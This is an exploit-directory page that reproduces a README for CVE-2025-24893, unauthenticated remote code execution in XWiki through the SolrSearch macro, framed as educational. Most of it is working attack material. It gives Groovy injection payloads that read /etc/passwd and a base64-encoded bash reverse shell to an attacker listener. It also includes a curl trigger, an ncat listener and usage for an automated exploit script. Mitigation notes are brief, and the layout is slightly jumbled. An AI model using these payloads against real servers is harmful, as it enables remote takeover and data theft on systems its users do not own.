Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24893-XWiki-unauthenticated-RCE-via-SolrSearch — CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in XWiki, a popular open-source enterprise wiki platform. | Kitploit
Tools/GitHubGitHub/iiiejlyxakaptoiiiku/cve-2025-24893-xwiki-unauthenticated-rce-via-solrsearch
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubiiiejlyxakaptoiiiku/cve-2025-24893-xwiki-unauthenticated-rce-via-solrsearch

CVE-2025-24893-XWiki-unauthenticated-RCE-via-SolrSearch

CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in XWiki, a popular open-source enterprise wiki platform.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
11 year agoNot yet reviewed

CVE-2025-24893 – Unauthenticated Remote Code Execution in XWiki

0 Table of Contents

  1. Summary
  2. Vulnerability Details
  3. Affected Versions
  4. Proof-of-Concept
    • 4.1 Building the payload
    • 4.2 Manual exploitation
    • 4.3 Automated python exploit
  5. Mitigation
  6. Credits & References

1 Summary

  • CVE: 2025-24893
  • Component: SolrSearch macro (XWiki UI)
  • Severity: 9.8 / CRITICAL (CVSS 3.1)
  • Attack vector: Unauthenticated HTTP GET
  • Impact: Arbitrary Groovy execution → system-level RCE (permissions of the Jetty/Tomcat user)

The /xwiki/bin/get/Main/SolrSearch endpoint concatenates untrusted text= input straight into a Freemarker template.
By prematurely closing the template and opening a new {{groovy}} … {{/groovy}} block, an attacker executes arbitrary Groovy code without authentication.


2 Vulnerability Details

root@kitploit:~
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

SolrSearch should embed the supplied text as plain content, but the macro handler fails to escape }}}, so the following happens:

  1. }}} closes the current Freemarker block.
  2. Attacker opens a new macro:
root@kitploit:~
   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
  • async=false forces synchronous execution (works even for guests).
  1. Groovy runs with the permissions of the XWiki JVM process.

A minimal PoC that prints /etc/passwd:

root@kitploit:~
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

URL-encoded variant (spaces → %20, braces → %7B/%7D, etc.):

root@kitploit:~
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 Affected Versions

BranchFixed inVulnerable ≤
15.x15.10.1115.10.10 (and all 15.9 / 15.8 …)

(source: OffSec advisory & XWiki SEC-S 2025-02)

endpoint


5 Proof of Concept

5.1 Build the payload

root@kitploit:~
RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 Manual exploitation

root@kitploit:~
# start listener
sudo ncat -lvnp 4444

# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 Automated exploit

xwiki_solr_rce.py ships in exploit/ (see code block below).

root@kitploit:~
python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>

where

root@kitploit:~
<TARGET URL> - URL including http:// or https://

(pass -c "id" to run an arbitrary command instead of a shell) exploit revshell


6 Mitigation

  • Upgrade to 15.10.11 / 14.10.17 or later
  • Temporary workaround: disable the macro
root@kitploit:~
# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 Credits & References

  • OffSec Research: “Unauth RCE in XWiki” – 20 Feb 2025
  • NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
  • Exploit-DB #52136

Research & PoC: DeX1d


Disclaimer: For educational use only. Running this against systems you do not own is illegal.

Download Tool
14.x LTS14.10.1714.10.16
13 / 12Not maintained – all remain vulnerable